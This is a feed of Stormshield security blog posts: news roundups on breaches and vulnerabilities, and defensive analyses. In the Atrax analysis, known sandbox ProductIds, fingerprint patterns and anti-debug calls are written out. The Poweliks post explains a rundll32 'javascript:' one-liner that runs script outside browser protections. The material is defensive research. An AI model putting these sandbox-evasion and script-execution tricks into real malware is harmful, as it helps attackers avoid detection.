Quantcast
Channel: Stormshield
Viewing all 111 articles
Browse latest View live

Weekly Cybernote #5

$
0
0

For this latest edition of the Weekly Cybernote, we will first of all look at the data theft that took place last week at Orange, then go on to how a German hacker was able to prove that even the website of a giant such as the NSA can present obvious security flaws. To conclude, we will return to the topic of data theft, the cost of which has gone up by 9% in the US in 2014.

New data theft incident at Orange
Within the space of three months, customer data was stolen twice from the telecoms operator Orange in France. In all, at least 1.3 million people are affected by this incident of theft, compared to 700,000 in January. This incident does not affect just subscribers, but prospective clients and other service providers as well. The operator therefore had to activate a crisis communication procedure and inform all parties involved of the risks of phishing attacks that they might encounter. The fact that Orange chose to communicate on the subject was not for the sake of transparency, but simply because operators have a legal duty to notify the CNIL – the French data protection authority – of such thefts and inform the persons involved of the risks they are exposed to when their data is no longer anonymous. New regulations that will soon be in force in France and in Europe are expected to push companies to report data thefts to their clients on a more regular basis and to play the transparency card. Even though Orange was well aware that data had been stolen, many French companies, even the big ones, are not as well-versed in cybersecurity and fall victim to major attacks and data theft without even realizing it.

German hacker detected two vulnerabilities on the NSA website
It is amazing how you can be a giant in electronic intelligence, invest billions in technology and still have a poorly secured website! Matthias Ungethüm, a German security researcher, found and exploited two security flaws on the NSA’s homepage. The first vulnerability allowed him to inject code directly into the page, using cross-site scripting. By clicking on a link specifically created for that purpose, an internet user will not access the actual NSA page but a modified copy that looks exactly the same. As for the second vulnerability, it is more problematic. According to the hacker, it allows injecting SQL code in order to access databases relating to the web server, with the obvious purpose of siphoning them. To avoid attracting legal trouble, the hacker did not go further than just discovering the vulnerabilities. He simply confirmed that they indeed existed, while explaining that it does not take much technical expertise to exploit them. He did nonetheless alert the NSA, but has yet to hear from them.

The cost of data violation went up by 9% in the US in 2014
According to the 9th Cost of a Data Breach report published by the Ponemon Institute, the average cost of each data breach has reached 200 dollars in 2014 in the United States, an increase from $188 in 2013. The report therefore revealed an overall increase of 9% in terms of the cost of data violation in the United States, representing a total of 5.4 million dollars in 2014. 61 American corporations, representing 12 different activity sectors, participated in this survey and were exposed to this type of attack. More than 500 people were interviewed directly in the corporations involved and in government organizations. The industries that were most severely affected were healthcare, transportation, power production, financial services, communications, pharmaceuticals and the manufacturing sector.



Weekly Cybernote #6

$
0
0

For today’s Weekly Cybernote, we will focus on two security-related current events that have been highly discussed on the web for more than a month and a half now: the end of support for Windows XP and the Heartbleed flaw. We will also talk about Adobe, whose Creative Cloud experienced a huge outage last week.

Attacks on Windows XP and still no fix from Microsoft
The Redmond vendor remains firm on its decision to end support for Windows XP and refuses to fix a bug in Internet Explorer that has already been exploited by hackers. Microsoft and external security experts have indicated that hackers had been exploiting a vulnerability in Internet Explorer under Windows XP and on the last Patch Tuesday, no fix was provided to resolve the issue, in line with the decision to cease all support for the system. The bug, which has been identified with the reference CVE-2014-1815, is one of two critical vulnerabilities affecting IE6, IE7, IE8, IE9, IE10 and IE11 and patched by Microsoft last Tuesday. In the Security Advisory, the vendor pointed out that the vulnerability was already known and was already exploited by hackers even before this update. However, since Windows XP has stopped being supported since April, XP users did not receive a security patch for IE, unlike users of Windows Vista, Windows 7 and Windows 8. Arkoon+Netasq’s ExtendedXP allows keeping Windows XP workstations safe in the best security conditions.

Heartbleed: errors observed in the application of certificates and bug fixes
Despite the swift measures taken by certain sites to protect themselves from the Heartbleed attack, some of them realized that they were not better protected than before, and in some cases, found themselves even more exposed. After having fixed their version of OpenSSL following the Heartbleed attack on April 7th, many sites also went on to revoke their compromised SSL certificates by replacing them with new certificates. But according to a survey, 30 000 sites received replacement certificates based on the same compromised private key used in previous certificates. This means that anyone who managed to steal the private key of one of these servers before it was patched can still use the key to trick the server by launching a man-in-the-middle attack.

Adobe’s Creative Cloud hit by a huge outage
Almost all the services and solutions in Adobe’s Creative Cloud suite were inaccessible throughout several regions worldwide, including Europe. At the time of writing, the problem was still unresolved and Adobe’s teams are looking into the cause of the malfunction. Only the file synchronization service escaped unharmed from this giant outage. At the same time, new accounts (Adobe ID) still cannot be created, as is the case with all Creative Cloud subscriber services. This is Adobe’s first major breakdown since the launch of Creative Cloud in June 2013.


Weekly Cybernote #7

$
0
0

For this latest edition of the Weekly Cybernote, we will expand on three hot topics that have been widely debated on the internet over the past week: the notorious hack on eBay’s website and the theft of its users’ data, the zero-day flaw identified on Internet Explorer 8 that had still not been fixed by Microsoft even after 7 months, and lastly, new revelations from WikiLeaks about the NSA. 

eBay victim of hacking: personal data of millions of users exposed
eBay, the online auction giant, was last week the victim of a major online attack that aimed to retrieve its users’ private data. As such, this cyber-attack compromised the American giant’s databases, which contained among other things its users’ encrypted passwords. Following the detection of this attack, eBay decided to act in full transparency and reacted quickly by asking users to change their passwords as quickly as they could. Fortunately, only a tiny portion of eBay users were affected by this attack – those who accessed the site between late February and early March. Apparently, eBay discovered this attack about two weeks ago. eBay has indicated that it is currently working with a team of experts to identify the masterminds of this attack, who are still unknown. The only upside: PayPal data of users of the auctioning service was intact, as it is stored separately in encrypted formats.

Internet Explorer 8: a zero-day vulnerability of more than 7 months still unfixed
The Redmond-based firm dropped a bombshell last week – it was discovered that Microsoft had not fixed a security flaw affecting its web browser Internet Explorer 8, which dates back to October 2013. This is no small flaw, since it would allow users to install malicious code on workstations in order to take full control of them. It is currently estimated that more than 20% of Microsoft users surf the net using IE8, making it an even more dangerous vulnerability. For a hacker to exploit this flaw, he would need to trick his potential victim into visiting a website that has been specially crafted for this purpose, in IE8 of course. Conventional methods (phishing e-mails, instant messages containing fraudulent links etc) may help a hacker to launch his attack. This vulnerability was discovered in October 2013 by Peter Van Eeckhoutte, a Belgian researcher, during the Zero Day Initiative program. Despite this discovery, Microsoft has still not done anything ever since then to fix the flaw. Microsoft has communicated on the subject by asking its users to install the patch released urgently at the beginning of the month. Arkoon+Netasq’s ExtendedXP allows protecting workstations running on Windows XP and using Internet Explorer 8.

WikiLeaks: the NSA allegedly recorded all communications in Afghanistan
The famous whistle-blowing website WikiLeaks has just revealed that Afghanistan is the second country in which the NSA has recorded all cell phone communications. This is the country that the media such as The Washington Post and The Intercept had preferred not to name for security reasons. WikiLeaks has stated that it does not wish to name the source of this revelation in order to protect it. Julian Assange’s service therefore continues to stand up to state censorship, going as far as to claim that to date, no proof has been submitted by any government organization to show that any of the eight million publications revealed by WikiLeaks has prejudiced anyone in particular. For WikiLeaks, hiding such information would therefore condone and participate in this organized censorship.


Weekly Cybernote #8

$
0
0

For this eighth edition of the Weekly Cybernote, we will concentrate on three very different subjects: the hack orchestrated by Iranian cyber-spies through a bogus news website, the music streaming service Spotify whose data had been hacked, and lastly a cybercriminal in Australia who hijacked Apple devices for ransom.

A group of Iranian cyber-spies targeted more than 2000 military officials using a bogus news website
In Iran, a group of cyber-spies managed to spy on more than 2000 people, including American and Israeli military officials using a fake news site called NewsOnAir.org. For three years, these spies used this site to target and establish contact with military personnel in the US and in Israel and hack their personal accounts on social networks. The operation was apparently orchestrated by Iranians but there is still insufficient information to trace back to the main mastermind. According to iSight, the site republished legitimate articles that were first published by actual press organizations, including BBC and press agencies Associated Press and Reuters, but with the bylines replaced by fake reporters’ names. The identities of some journalists were also stolen in this affair.

Spotify victim of a hacking
After eBay, it was Spotify’s turn to get hacked. The Swedish online music giant had in fact detected “unauthorized access” to its systems and internal data. As simple users of the service, there is not much to worry about, as only personal particulars may have been compromised. Anything more confidential, such as passwords or credit card PINs, was not involved in this operation. However, as a precaution, Spotify advises its users to log off and log on again to the service in order to update security measures. Users of the service are also urged to update their Android applications through Google Play, the Amazon Appstore of the official website. As for iOS or Windows Phone, nothing amiss has been reported.

An Australian cybercriminal demands a ransom for unlocking Apple devices
Oleg Pliss is a cybercriminal based in Australia who demanded a ransom for unlocking Apple devices. Pliss apparently “hijacked” several Australian iPhones, iPads and Macs, which he would unlock in exchange for sums ranging from 50 to 100 dollars. For almost a week, several owners of such devices in Australia were woken up by unpleasant messages indicating that their devices had been hacked and that they would need to pay a ransom in order for them to be unlocked. The hacker, who used the name of an engineer at Oracle, demanded payment from targeted users to his PayPal account before he would restore the devices to working order.


Linux known exploit detection

$
0
0

The integration of a new patch into the Linux kernel has been proposed to enable the successful detection of exploitation attempts.

The principle is very simple: when a security fix is added to the kernel, a new code will be added to call the “ exploit” function (with the CVE number of the exploit that is being patched, for example). Then, if someone tries to exploit this vulnerability, the attempt will be unsuccessful because the vulnerability has been patched, but the exploit function will be called in order to log the exploitation attempt.

This concept has several advantages because when a malicious attacker successfully roots your Linux system, chances are that your system wouldn’t log anything, but if an exploitation attempt fails, you will be able to log some information in the system.

So the argument in favor of this functionality is that most hackers will try multiple exploits before they succeed in breaking into your system for many reasons, such as not knowing your Linux kernel version, or probably  because they are script kiddies who use exploitation kits that will try to run multiple exploits.

The main detractors of this new security function claim that attackers, after successfully exploiting the system (with an exploit that is not patched), will be able to delete the logs that have been created by the exploit function. A suggestion would be to log it immediately on an external syslog server (or directly to a SOC if the organization has one).

Another potential issue is that after years of patching the kernel, a lot of annotations and exploit function calls would be present in the Linux source code. In order to keep the kernel as clean as possible, an idea would be to delete these annotations after a few years (a vulnerability has few chances of being tested if is 3 years old).

What is interesting is that even if it is based on signatures and has no chance of proactively detecting a 0day exploitation, this technique would give you precious information about hacking attempts in your organization.

Also, you might think that if you have a NIPS (Network Intrusion Prevention System) you would be able to detect these attempts without having such features in your kernel.

The problem is that your NIPS engine will be based on a signature approach, and there are plenty of techniques to bypass this approach. Advanced Evasion Techniques (AET) are a good example.

The Linux known exploit detection is also beneficial because it won’t analyze the shellcode of the exploitation (which might change or might use polymorphism to easily bypass the detection engine) but would detect the vulnerability exploitation directly. In this case you will prevent false positives.

This functionality is not considered a “must-have” that would solve all your problems: you won’t be protected against 0day attacks and you will still need to patch your operating system. It would not replace one of your security layers, but it can be considered a “nice-to-have”.

These precious logs have a value only if you know what to do when such an alert is raised: you have to define a manual or automated process that will, for example, investigate on what’s going on in order to block the attacker.

We hope that third party vendors will copy this initiative, and it would also make a lot of sense that Adobe Acrobat warns you about vulnerability exploitation attempts in your system.


Weekly Cybernote #9

$
0
0

For this 9th edition of our Weekly Cybernote, we will as usual cover three topics. The first concerns the new banking malware Dyreza, while the second will be about how YouTube is used by hackers to sell credit card numbers. Lastly, the third point revisits an old story about Nokia, who allegedly gave in to a hacker’s threats and paid millions of euros to regain control over its OS Symbian.

Dyreza: the new malware that targets users of banking websites
After Zeus, which has become famous for all the wrong reasons, researchers identified the Dyreza Trojan horse that was used to dupe the clients of banking websites with man-in-the-middle attacks that intercept internet users’ login credentials. The malware Zeus (or Zbot), already rampant since 2006 and targeting bank clients, gave way to Dyreza, also known as “Dyre”. As for this other Trojan, it also attacks bank clients. Recently identified by security researchers, it is used for launching MITM (Man in the middle) attacks, with the cybercriminal intercepting unencrypted traffic and misleading users into thinking they are on a secure connection with their bank. Even though Dyreza bears several similarities to Zeus, it is not a derivative but rather a new malware program. It uses an interception technique on the targeted browser to view unencrypted traffic in order to sneak in when a user attempts to set up a secure SSL connection with a website. During a Dyreza-led attack, the user will be under the impression that he is entering his authentication credentials on his bank’s website and establishing an SSL connection, but the malware is in fact redirecting traffic to its own servers.

YouTube, new platform for selling credit card data
You would think that to obtain stolen credit card numbers, you would need to arm yourself with all the latest complex cryptographic tools and plunge into the Darknet, as was the case for Silk Road, the underground Canadian supermarket shut down by the FBI in 2013. Today there is a much simpler way to do this: log on to YouTube. A report that the Digital Citizens Alliance (DCA) has just published shows that Google’s website is indeed used by a large number of hackers to promote their illegal services. Simply type in the right keywords, such as “CC info with CVV” or just “how to get credit card numbers”. YouTube will then return a whole list of film adverts, which sometimes run into tens of thousands. This is the opportunity for the hacker to show some samples, just to prove that he has what he claims to have. You will then see rows of a table listing credit card numbers, the type of card (Visa, Mastercard, etc.), the cardholder’s first name and last name and even the 3-digit security code (CVV).

Nokia paid millions of euros in ransom for Symbian
A Finnish television channel recently revealed that the telecoms manufacturer Nokia was blackmailed 6 years ago by hackers and paid a “ransom” of several million euros. The events have been partially confirmed by the police. Apparently, hackers had gotten their hands on the keys allowing the decryption of a central portion of the Symbian source code, the operating system on older Nokia terminals. They then threatened to go public with the code, which would have compromised its integrity. It would have been possible to insert malware programs without them being detected. This was obviously a risk that Nokia did not wish to take. Following the orders they received, Nokia left a suitcase of bills in a parking lot, which the hackers immediately took. Nokia had warned the police beforehand, but they were unable to keep track of the blackmailers. The investigation is still ongoing.


Weekly Cybernote #10

$
0
0

For this edition of the Weekly Cybernote, first of all, we will touch on Project Zero, the elite crack team set up by Google to fight zero-day attacks. We will then discuss an attack identified in China that apparently targeted databases of state employees living in the US. Lastly, we will look at how the Gmail application on iOS could very well prove to be the ideal opportunity for hackers.

Google creates “Project Zero”, an elite team to fight 0-day attacks
Through this team, whose existence is expected to become official shortly, Google intends to test the security of not only their products, but the products of other software vendors as well. Once an exploit is discovered, it would be communicated to Google, who will have between 60 and 90 days to fix it before it becomes officially public on the Project Zero blog. These deadlines may shrink to only 7 days if hackers have already exploited the flaw. The aim is to encourage vendors to track the quality of the tools they provide to their clients to the best of their ability. Ben Hawkes, a New Zealand security researcher and member of this team, discovered a dozen bugs in Adobe Flash and the Microsoft office software suite. Tavis Ormandy is one of the most prolific vulnerability hunters in the world. He took the antivirus industry by storm by revealing grave problems in certain Sophos products and discovered a zero-day vulnerability in Windows in June 2013, but the list doesn’t stop there. And it is far from staying as it is since Google is hiring to add members to this team.

An attack originating in China has targeted databases of American state employees
Chinese hackers have managed to penetrate federal administration files containing the personal details of all state employees, including those in the secret service and defense departments, according to the New York Times on Thursday. The Office of Personnel Management, the American ministry that manages federal state employees, and the Department of Internal Security have attempted to remedy any possible intrusions as soon as they had become aware of it. The hackers struck in March and snooped through the records of tens of thousands of persons who had applied for jobs in order to obtain security accreditations, affirmed the daily, quoting anonymous persons in charge.

Gmail on iOS: the new El Dorado for hackers?
Users of Apple mobile terminals who have installed Gmail on their iOS devices, may have their data intercepted by hackers for a simple reason: Google has not yet set up any security technology to prevent hackers from reading and modifying encrypted communications exchanged with the web giant, wrote Avi Basan, CTO of Lacoon Mobile Security, a company based in Israel and the US. Legitimate websites use digital certificates to encrypt data traffic by using the SSL / TLS (Secure Socket Layer Security / TLS) protocols. However, in certain cases, hackers can falsify these certificates in order to observe and decrypt such traffic. Fortunately, this threat can be kept at bay using a “pinning” certificate which hard-codes details of the legitimate digital certificate in an application.


Win32/Atrax.A

$
0
0

Atrax is a malware discovered during the summer of 2013. It includes some basic features like distributed denial-of-service, keylogging, the ability to steal banking credentials, to send spam or to install a Bitcoin miner for crafting bitcoin money. The particularity of Atrax is that it communicates with command and control server over TOR, which is a protocol that enables online anonymity. An ESET blog post has been made to give more information about this tor based botnet: http://www.welivesecurity.com/2013/07/24/the-rise-of-tor-based-botnets/.

Atrax’s specification highlight us about anti-analyzer technics:

[...]
- Anti-Analyzer (Protection against e.g. anubis.iseclab.org, malwr.com)
- If you need: Anti-VM (Please request it explicitly)
- Anti-Debug/Anti-Hook Engine
[…]

The sample we studied was seen in the wild in April 2014 and submitted to the VirusTotal web site (https://www.virustotal.com/en/file/adf246a57baecef5c8c85c60152e9b2f5060bf2e720ad1623cc95177e7259401/analysis/).

We choose to analyze the Atrax botnet in the process of our permanent security monitoring, in order to be sure that our best of breed HIPS engine is able to block new technics used by hackers. This article is not a full analysis of the malware, it chooses to focus on the capabilities to do not be detected or analyzed.

Sandbox detection

We started by looking at the anti-sandbox capability. To obtain a fast dynamic analysis of a potential malware, many online services provide sandbox capabilities to give you a deeper look of what the application is doing on the operating system: the principle is to start the malware execution in a virtual machine to trace its behavior. At the end of the timeout the service provides a report and sets the virtual machine to its initial state for the next analysis. In this way, we can quickly know if a binary file is malicious or not. Malwares now try to detect this kind of sandbox to be sure that people couldn’t analyze the behavior of the malware or that security solution couldn’t block it proactively.

To test the protection mechanism of Atrax, the sample was submitted to multiple online sandboxes:

  • Anubis http://anubis.iseclab.org/: when executing, the binary file crashes (STATUS_ACCESS_VIOLATION) preventing behavioral analysis. It is a normal behavior of Atrax when it detects online sandbox. The virtual machine was not infected.
  • Malwr http://malwr.com: the binary file runs normally, the virtual machine was infected.
  • JoeBox (CWSandbox / File-analyzer) http://file-analyzer.net/: The binary file runs normally, the virtual machine was infected.
  • Comodo http://camas.comodo.com: the binary file runs normally, the virtual machine was infected.

Except Anubis, it becomes clear that the detection of sandbox is not fully functional. This dysfunction is due to the method used for environment fingerprinting. Atrax simply looks for the ProductId of the operating system.

ProductId is a unique value of 20 digits which is derived from the product key and the hardware configuration. This key is just displayed to user for information. It can be used when you contact the Microsoft Support. This key is stored in the registry key located here: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId. You can display it by right-clicking My Computer and selecting Properties:

Capture d’écran 2014-08-20 à 14.37.28

 

Because it is unique, this key enables identifying the computer. However it is possible to alter this key without having any instability.

Atrax has an hardcoded list of ProductId keys:

-   1: 76487-640-1457236-23837
-   2: 76487-644-3177037-23510
-   3: 55274-640-2673064-23950
-   4: 76497-640-6308873-23835
-   5: 76487-640-1464517-23259

If it finds one these values, its means that the actual environment is an online sandbox and Atrax process exits with an access violation.

Capture d’écran 2014-08-20 à 14.39.33

 

In order to check the correspondence of these values, we developed a test program that display the ProductId value of the sandboxes available on Internet.

Some sandboxes report screenshots of the virtual machine, so it is easy to check the ProductId with a MessageBox. For sandboxes which do not report screenshot, the binary file creates a text file with the ProductId as filename.

long lResult =
RegOpenKeyEx(HKEY_LOCAL_MACHINE,L"Software\\Microsoft\\Windows NT\\CurrentVersion",0,KEY_QUERY_VALUE,&hkey );
if(ERROR_SUCCESS == lResult)
{
DWORD keytype;
TCHAR data[200];
DWORD bread=200;
lResult =
RegQueryValueEx(hkey,L"ProductId",NULL,&keytype,(BYTE*)&data,&bread);

if(ERROR_SUCCESS == lResult)
{
// Key found
MessageBox(0,data,L"fingerprint",1);
found = _tfopen(data, TEXT("w"));
fclose(found);
}

With this trick, we have determined that the first key (76487-640-1457236-23837) is the ProductId of Anubis sandbox. This is why the execution inside this sandbox turns into STATUS_ACCESS_VIOLATION.

The second and third keys do not work due to updated sandboxes. These keys are some kind of signature that matches CWSandbox and JoeBox.

76487-644-3177037-23510: matches CWSandbox.

55274-640-2673064-23950: matches JoeBox.

CWSandbox and JoeBox now appear to be a single product: JoeSecurity is accessed through the URL http://file-analyzer.net/. JoeSecurity now automatically generates a new key for each run, making the two previously known keys obsolete. But strangely they are a recognizable pattern easy to detect. For example:

Windows XP:
78387-783-7838756-78387
89955-899-8995528-89955

Windows 7:
24752-247-2475255-24752
65168-651-6516896-65168

Funny fact, during our tests we have to submit several times our fingerprint executable to be sure that the ProductId is unique at each run. This apparently did not please JoeSecurity and our IP address was simply banned from the server.

The last two keys 76497-640-6308873-23835 and 76487-640-1464517-23259 are less common and seem to be related to old instances of Malwr sandbox. Today Malwr generates a unique key for each run with no identifiable pattern:

43587-502-6867763-42122
65925-308-4191880-45994
68959-300-3102090-30654
27323-986-4834729-34486
69978-592-8045283-75626

In addition, although it is not implemented into Atrax, it is possible to detect if an executable file has been uploaded to VirusTotal; the sandbox associated to the “Behavioral information” section has always the same ProductId: 76487-341-0620571-22546.

As we can see, this technique is not really efficient for multiple reasons. First, because it is easy to implement a mechanism to auto generate a ProductId for each run. We tried to edit the ProductId of Windows 7 and Windows Update was fully functional. Moreover, looking at this registry key can be detected as a malicious behavior. It is not common for an executable file to look for the ProductId of the operating system.

Security products detection

Atrax also checksif security productshaveinjectedcode in therunning process of the malware.

To do this check, it uses a well-documented technics:

  • It finds PEB (Process Environment Block address) (instruction mov eax, fs :0x30)
  • It looks for Ldr (LoaderData) in PEB (instruction mov ecx, [eax+0x0C])
  • It finds the InLoadOrderLinks list which contain all the module loaded by the running process (instruction mov edi, [ecx+0x0C])
  • It browses InLoadOrderLinks and compares it to some values.

Capture d’écran 2014-08-20 à 14.54.36

 

For more information about this method: http://phrack.org/issues/65/10.html,

Atrax looks for the following loaded binary files to detect if a security product monitors the current application:

This technique is limited to a few security products but does not prevent detection by antivirus.

Anti Debug

Atrax uses 3 different technics to check the presence of a debugger.

ZwSetInformationThread

The first way to do it involves using the ZwSetInformationThread function.

NTSYSAPI NTSTATUS NTAPI ZwSetInformationThread(
IN HANDLE ThreadHandle,
IN THREADINFOCLASS ThreadInformationClass,
IN PVOID ThreadInformation,
IN ULONG ThreadInformationLength
);

When ThreadInformationClass is set to 0x11 (ThreadHideFromDebugger), any debugger becomes blind to actions performed by this thread.

Capture d’écran 2014-08-20 à 15.00.56

 

ZwQueryInformationProcess

The second way to bypass debug involves using ZwQueryInformationProcess in order to find a debugger.

TSTATUS WINAPI ZwQueryInformationProcess(
_In_       HANDLE ProcessHandle,
_In_       PROCESSINFOCLASS ProcessInformationClass,
_Out_     PVOID ProcessInformation,
_In_       ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);

 

When ProcessInformationClass is set to 0x7 (ProcessDebugPort), ProcessInformation is set to -1 when the process is being debugged.

Capture d’écran 2014-08-20 à 15.03.33

 

IsDebuggerPresent

Finally, Atrax uses the classical IsDebuggerPresent function call which looks for the BeingDebugged flag inside the PEB. If BeingDebugged equals 1, the process is debugged.

AntiVM

Malware’s specifications refer to VM detection. This functionality seems not to be included into the sample that has been studied but we can find some significant strings inside the binary file:

  • VMWare
  • VBOX
  • DiskVirtual_HD

It looks like some codes about VM detection is present but after static analysis we saw that this part of code is never called.

Conclusion

In this post we have seen that an effort was made to detect security products but the detection of analysis environment are not really well implemented. One year after malware launch, it’s fully detected by the sandboxes and the tricks used here are not efficient.Yet there are a huge number of tricks documented on the Internet for anti-debug, anti-VM and anti-analysis. Atrax uses only the most basics tests.

For further information, please see:
http://waleedassar.blogspot.comhttp://pferrie.host22.com/papers/antidebug.pdf



Poweliks – Command Line Confusion

$
0
0

Recently, hFireF0X provided a detailed walkthrough on the reverse engineering forum kernelmode.info about Win32/Poweliks malware. The particularity of this malware is that it resides in the Windows registry and uses rundll32.exe to execute JavaScript code.

I found it funny that we can execute some JavaScript through Rundll32 and obviously I was not the only one.

Capture d’écran 2014-08-20 à 15.57.26

When we first saw the command line executing JavaScript, we were wondering how it worked.

In this blog post, we analyze how and why JavaScript is executed when calling this simple command line:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert(‘foo’);

Reminder about Rundll32

Rundll32 usage is documented on MSDN; it is used to call an exported function of a DLL file which can be achieved with the following command line:

RUNDLL32.EXE <dllname>,<entrypoint> <optional arguments>

entrypoint is the exported function; its prototype must be:

void CALLBACK EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);

The lpszCmdLine parameter is given the <optional arguments> value specified on the rundll32 command line.

We will try to figure out how Rundll32 is able to call the function RunHTMLApplication exported by the library mshtml.dll and how the “javascript:” prefix is used to execute actual JavaScript code.

Analysis of Rundll32

Parameters

One of the first things done by Rundll32 is to parse the command line in the internal function ParseCommand. This function searches for a comma (‘,’, 0x2C) to locate the DLL name and for a space (‘ ‘, 0x20) to locate the entrypoint name.

Capture d’écran 2014-08-20 à 16.00.23

When using our sample command line, ParseCommand returns javascript:"\..\mshtml as the DLL name and RunHTMLApplication as the entrypoint. In this context, the space after RunHTMLApplication delimits the ‘optional arguments’ part of the rundll32 command line:

Capture d’écran 2014-08-20 à 16.01.37

Dll loader

Rundll32 will perform several tries to load the actual DLL from the initial specification javascript:"\..\mshtml.

The first test uses the function GetFileAttributes(“javascript:”\..\mshtml”). This function eventually accesses C:\Windows\system32\mshtml. As this file is not found, the function returns -1.

Capture d’écran 2014-08-20 à 16.04.07

SearchPath is then invoked to resolve the DLL name. This function reads the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeProcessSearchMode. The Microsoft definition of this key is:

When the value of this REG_DWORD registry value is set to 1, SearchPath first searches the folders that are specified in the system path, and then searches the current working folder. When the value of this registry value is set to 0, the computer first searches the current working folder, and then searches the folders that are specified in the system path. The system default value for this registry key is 0.

By default this registry key doesn’t exist (on Windows XP / 7 / 8) so SearchPath tries to load the file mshtml in the current directory of rundll32 (c:\windows\system32) prior to trying locating it in the system path.

Capture d’écran 2014-08-20 à 16.05.45

All these attempts fail and rundll32 moves to the next step. GetFileAttributes is called again searching for the manifest for the module: javascript:”\..\mshtml.manifest

Capture d’écran 2014-08-20 à 16.07.09 Since all the previous steps failed, Rundll32 eventually calls LoadLibrary("javascript:"\..\mshtml").

LoadLibrary is just a thin wrapper around LdrLoadDll located in ntdll.dll. Internally, LdrLoadDll adds the default extension .dll and parses the resulting string javascript:”\..\mshtml.dll as a path. The token .. instructs to go one folder up: it resolves to mshtml.dll (think of foo\..\mshtml.dll resolved as mshtml.dll).

With mshtml.dll specification, LdrLoadDll is able to load the library in the system directory.

Capture d’écran 2014-08-20 à 16.09.02 Rundll32 then calls GetProcAddress with the previously extracted entry point name RunHTMLApplication.

For the moment, the javascript: prefix seems pretty useless: LoadLibrary("foobar:\"\..\mshtml") works fine. So, why prefixing with javascript:?

Protocols Handler

Once the entry point address has been resolved, Rundll32 calls the function mshtml.dll!RunHTMLApplication.

Even if not documented, the actual RunHTMLApplication can be inferred from the call made by c:\windows\system32\mshta.exe (the application dedicated to launch an .hta file):

HRESULT RunHTMLApplication(
HINSTANCE hinst,
HINSTANCE hPrevInst,
LPSTR szCmdLine,
int nCmdShow
);

This is not far from the function prototype expected for a rundll32 entry point:

void CALLBACK EntryPoint(
HWND hwnd,
HINSTANCE hinst,
LPSTR lpszCmdLine,
int nCmdShow
);

RunHTMLApplication receives a handle to a window instead of a handle to a module as the first parameter. This parameter is used when mshml registers for a window class and creates a window of this new class. Passing a value not corresponding to an actual instance doesn’t seem to disturb user32 very much…

The second parameter is not used at all, so the mismatch is not important.

The last parameter, nCmdShow, is used by the RunHTMLApplication function to display the window hosting the HTML application. Rundll32 always calls the entry point function with the value SW_SHOWDEFAULT to instruct any potential opened window to use window default placement.

The main parameter of interest would be lpszCmdLine (";alert('foo')) in our case.

Capture d’écran 2014-08-20 à 16.16.36

This obviously leads to an issue since this is not a valid JavaScript statement (please note the missing double-quote at the end of the statement). But it works anyway, because RunHTMLApplication ignores the given parameter and prefers to request again the original command line from the GetCommandLine Windows API (wrapped in a call to the GetCmdLine function).

Capture d’écran 2014-08-20 à 16.20.09

The full command line contains the name of the executable and the parameters: GetCmdLine extracts the parameters by cleaning up the executable specification:

Capture d’écran 2014-08-20 à 16.23.29

After that, RunHTMLApplication calls CreateUrlMoniker:

Capture d’écran 2014-08-20 à 16.25.04

This is where the string « javascript: » is essential.

CreateUrlMoniker parses the command line to extract the string before the char “:” (0x3A): “javascript”.
Capture d’écran 2014-08-20 à 16.28.27

CreateUrlMoniker crawls the registry key HKCR\SOFTWARE\Classes\PROTOCOLS\Handler\. These keys refer to a set of protocols and their CLSID.

CreateUrlMoniker finds an appropriate protocol handler for the JavaScript protocol (HKCR\SOFTWARE\Classes\PROTOCOLS\Handler\javascript):

Capture d’écran 2014-08-20 à 16.29.55

The CLSID {3050F3B2-98B5-11CF-BB82-00AA00BDCE0B} matches « Microsoft HTML Javascript Pluggable Protocol ».

Capture d’écran 2014-08-20 à 16.31.51

It is for this reason that the string “javascript” is essential in the beginning of the parameters.

The same mechanism comes into play when one types javascript:alert(‘foo’); in the Internet Explorer navigation bar:

Capture d’écran 2014-08-20 à 16.34.18

The remaining of the string located after the ‘:’ separator is interpreted by the JavaScript URL moniker as JavaScript instructions:

"\..\mshtml,RunHTMLApplication ";alert(‘foo’);

This is a valid JavaScript with a string "\..\mshtml,RunHTMLApplication " (hence the double-quotes skipped in all the previous steps!) and a function (alert).

Finally RunHTMLApplication calls CHTMLApp::Run and the JavaScript is executed:

Capture d’écran 2014-08-20 à 16.35.36

Security point

From a security point of view, executing JavaScript through Rundll32 is like executing an HTML Application.

In other words, we can have all the power of Internet Explorer—its object model, performance, rendering power and protocol support—without enforcing the strict security model and user interface of the browser. Zone security is off, and cross-domain script access is allowed, we have read/write access to the files and system registry on the client machine.

With this trick, JavaScript is executed outside the Internet Explorer process and script is not subject to security concept like Protected Mode / Sandbox on Vista and superior.

Conclusion

RunHTMLApplication has the perfect prototype to work with Rundll32. Attackers have made great efforts to build a command line using the perfect syntax for passing through all the mechanisms (library loading, command line parsing, URL syntax correctness, valid JavaScript, etc.) leading to JavaScript execution in an uncontrolled environment.

From our understanding, this technique allows bypassing some security products that may trust actions performed by the built-in rundll32 while specifying the script to run without writing any file on the file system.

That’s all folks!


Warbird Operation

$
0
0

Introduction

Some time ago while working on Windows 8, we came across a rather unusual piece of disassembly in some Microsoft binary files. This post describes some of our findings and how they are related to a Windows internal project called Warbird

Warbird is an enhancement of the license verification of Windows that is introduced in Windows 8/2012. The former system was too easy to intercept and to fake, so Microsoft decided to provide something that is harder to reverse engineer and to fake.

API Lookup

Our investigation begins in the “Windows Calculator” binary file (32-bit version of calc.exe). We found the following piece of disassembly in the WinMain function, which basically contains the code of the program when it is executed:

002a95e0 64a130000000 mov eax,dword ptr fs:[00000030h]
...
002a95ea 8b400c mov eax,dword ptr [eax+0Ch]
002a95ed 83c00c add eax,0Ch

These instructions allow accessing the Ldr (which stands for Loader) field of the current process PEB (Process Environment Block). This field gives access to the list of loaded modules of the current running process.

In a legitimate process, the list of loaded modules shouldn’t be accessed directly. It is either internally used by the Windows loader when it needs to load a binary file in memory and resolve its external dependencies, or used by the LoadLibrary function that can be called by any program.

In a malicious code that is executed when exploiting software vulnerability, the attacker needs to access the list of modules in order to retrieve operating system functions’ address. This listing enables the attacker to perform malicious actions (such as writing a malicious binary file on the file system). To do so, malicious code uses undocumented features in order to access directly the list of loaded modules thanks to the instructions previously noted.

